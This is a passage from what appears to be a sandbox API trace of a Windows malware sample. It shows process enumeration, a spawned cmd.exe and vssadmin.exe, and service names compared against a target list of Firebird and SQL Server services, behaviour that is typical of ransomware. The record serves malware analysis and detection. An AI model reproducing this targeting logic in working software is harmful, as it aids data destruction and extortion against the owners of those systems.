th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.542] lstrlenW (lpString="services.exe") returned 12 [0050.542] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.542] lstrlenW (lpString="lsass.exe") returned 9 [0050.542] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.543] lstrlenW (lpString="lsm.exe") returned 7 [0050.543] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.544] lstrlenW (lpString="svchost.exe") returned 11 [0050.544] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.544] lstrlenW (lpString="svchost.exe") returned 11 [0050.544] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.545] lstrlenW (lpString="svchost.exe") returned 11 [0050.545] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.545] lstrlenW (lpString="svchost.exe") returned 11 [0050.545] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.546] lstrlenW (lpString="svchost.exe") returned 11 [0050.546] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.546] lstrlenW (lpString="audiodg.exe") returned 11 [0050.546] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.547] lstrlenW (lpString="svchost.exe") returned 11 [0050.547] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.547] lstrlenW (lpString="svchost.exe") returned 11 [0050.547] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.548] lstrlenW (lpString="dwm.exe") returned 7 [0050.548] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.548] lstrlenW (lpString="explorer.exe") returned 12 [0050.548] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.549] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.549] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.549] lstrlenW (lpString="taskhost.exe") returned 12 [0050.549] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.550] lstrlenW (lpString="svchost.exe") returned 11 [0050.550] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.550] lstrlenW (lpString="taskeng.exe") returned 11 [0050.550] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.551] lstrlenW (lpString="taskhost.exe") returned 12 [0050.551] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0050.551] lstrlenW (lpString="dear.exe") returned 8 [0050.551] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0050.552] lstrlenW (lpString="b costa.exe") returned 11 [0050.552] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0050.552] lstrlenW (lpString="rc lock.exe") returned 11 [0050.552] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0050.553] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0050.553] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0050.553] lstrlenW (lpString="hugown.exe") returned 10 [0050.553] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0050.554] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0050.554] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0050.554] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0050.554] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0050.555] lstrlenW (lpString="locked welsh.exe") returned 16 [0050.555] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0050.555] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0050.555] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0050.556] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0050.556] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0050.556] lstrlenW (lpString="planners.exe") returned 12 [0050.557] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0050.557] lstrlenW (lpString="agreements.exe") returned 14 [0050.557] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0050.557] lstrlenW (lpString="tray.exe") returned 8 [0050.557] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0050.558] lstrlenW (lpString="wp std.exe") returned 10 [0050.558] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0050.677] lstrlenW (lpString="lesser.exe") returned 10 [0050.680] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0050.695] lstrlenW (lpString="right-tissue.exe") returned 16 [0050.698] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0050.711] lstrlenW (lpString="bunch.exe") returned 9 [0050.713] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0050.717] lstrlenW (lpString="jam.exe") returned 7 [0050.717] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0050.718] lstrlenW (lpString="chooseincidence.exe") returned 19 [0050.718] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0050.718] lstrlenW (lpString="numericalrear.exe") returned 17 [0050.718] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0050.719] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0050.719] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0050.719] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0050.719] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0050.720] lstrlenW (lpString="come_wave.exe") returned 13 [0050.720] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.720] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.720] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0050.721] lstrlenW (lpString="uyuquk.exe") returned 10 [0050.721] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.721] lstrlenW (lpString="cmd.exe") returned 7 [0050.721] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.722] lstrlenW (lpString="conhost.exe") returned 11 [0050.722] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.722] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.723] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0050.723] lstrlenW (lpString="VSSVC.exe") returned 9 [0050.723] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.723] lstrlenW (lpString="svchost.exe") returned 11 [0050.724] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0050.724] CloseHandle (hObject=0x200) returned 1 [0050.724] Sleep (dwMilliseconds=0x1f4) [0051.909] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566930 [0051.909] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0051.910] GetLastError () returned 0xea [0051.910] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0051.910] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0051.910] CloseServiceHandle (hSCObject=0x566930) returned 1 [0051.910] lstrlenW (lpString="Appinfo") returned 7 [0051.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.911] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.911] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.911] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.911] lstrlenW (lpString="AudioSrv") returned 8 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.911] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.911] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.911] lstrlenW (lpString="BFE") returned 3 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.911] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.911] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.911] lstrlenW (lpString="CryptSvc") returned 8 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.911] lstrlenW (lpString="CscService") returned 10 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.911] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.911] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.911] lstrlenW (lpString="DcomLaunch") returned 10 [0051.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.912] lstrlenW (lpString="Dhcp") returned 4 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.912] lstrlenW (lpString="Dnscache") returned 8 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.912] lstrlenW (lpString="DPS") returned 3 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.912] lstrlenW (lpString="eventlog") returned 8 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.912] lstrlenW (lpString="EventSystem") returned 11 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.912] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.912] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.912] lstrlenW (lpString="gpsvc") returned 5 [0051.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.913] lstrlenW (lpString="iphlpsvc") returned 8 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.913] lstrlenW (lpString="LanmanServer") returned 12 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.913] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.913] 